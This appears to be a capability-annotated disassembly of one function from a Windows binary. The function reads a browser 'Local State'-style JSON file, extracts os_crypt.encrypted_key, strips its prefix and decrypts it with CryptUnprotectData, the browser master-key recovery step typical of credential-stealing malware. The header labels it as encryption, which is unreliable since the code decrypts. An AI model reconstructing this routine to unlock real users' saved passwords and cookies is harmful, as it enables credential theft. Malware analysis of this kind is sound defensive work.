Function at 0x140008780
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x1401eb9a0]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov r14, rdx
mov rdi, rcx
mov qword [rbp - 0x70], rcx
mov qword [rbp + 0x30], rdx
xor r15d, r15d
mov dword [rsp + 0x40], r15d
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x58], r15b
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x88], r15b
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xb0]
call fcn.140152690
mov rdx, r14
lea rcx, [rbp + 0xb0]
call fcn.140018c60
nop
mov qword [rbp - 0x30], r15
lea r8, [rbp - 0x68]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x78]
call fcn.14001d7b0
nop
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
lea r8d, [r15 + 8]
lea rdx, str.os_crypt
lea rcx, [rsp + 0x70]
call fcn.140002450
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x78]
call fcn.140020d60
mov rbx, rax
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
lea r8d, [r15 + 0xd]
lea rdx, str.encrypted_key
lea rcx, [rsp + 0x50]
call fcn.140002450
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140020d60
cmp byte [rax], 3
jne 0x140008bd8
mov rdx, qword [rax + 8]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1400088ba
mov rdx, qword [rdx]
lea rcx, [rbp + 0x58]
call fcn.140002450
xor r8d, r8d
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x38]
call fcn.140002670
mov dword [rsp + 0x40], 4
mov rax, qword [rbp + 0x48]
lea r8, [rax - 5]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
cmp rax, 5
jb 0x140008c19
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rdx, qword [rbp + 0x38]
add rdx, 5
lea rcx, [rsp + 0x50]
call fcn.140002450
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140008957
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008952
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008c1f
call fcn.14014fd6c
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x48], xmm1
movd dword [rbp + 0x20], xmm1
lea rdx, [rbp + 0x38]
movq rcx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rdx, rcx
mov qword [rbp + 0x28], rdx
mov qword [rdi], r15
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov dword [rsp + 0x40], reloc.WS2_32.dll_listen
lea rax, [rbp + 0x10]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x20]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x140008a2e
mov ebx, r15d
cmp dword [rbp + 0x10], r15d
jbe 0x140008a2e
mov rsi, r15
nop dword [rax]
mov rax, qword [rbp + 0x18]
movzx r9d, byte [rsi + rax]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x140008a15
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x140008a0a
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140008a24
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rdi
call fcn.140002d40
inc ebx
inc rsi
cmp ebx, dword [rbp + 0x10]
jb 0x1400089e0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140008a69
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008c25
call fcn.14014fd6c
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x38], 0
movzx edx, byte [rbp + 0x78]
lea rcx, [rbp + 0x80]
call fcn.14001b750
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xc0]
call fcn.140018bb0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0xac], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x160], rax
lea rcx, [rbp + 0x160]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140008b4d
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008bcc
call fcn.14014fd6c
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x58], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x140008b93
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x140008b8e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140008bd2
mov rcx, r8
call fcn.14014fd6c
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r14], 0
mov rax, rdi
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.14014fd10
mov rbx, qword [rsp + 0x310]
add rsp, 0x2d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14015ee94
nop
call fcn.14015ee94
nop
mov rcx, rax
call fcn.14001bdc0
mov qword [rsp + 0x48], rax
lea r8, [rsp + 0x48]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0x70]
call fcn.14001e290
nop
mov r8, rax
lea rcx, [rbp - 0x28]
call fcn.14002c5c0
lea rdx, [0x1401e84c0]
lea rcx, [rbp - 0x28]
call fcn.140151f08
nop
call fcn.140002650
int3
call fcn.14015ee94
nop
call fcn.14015ee94
int3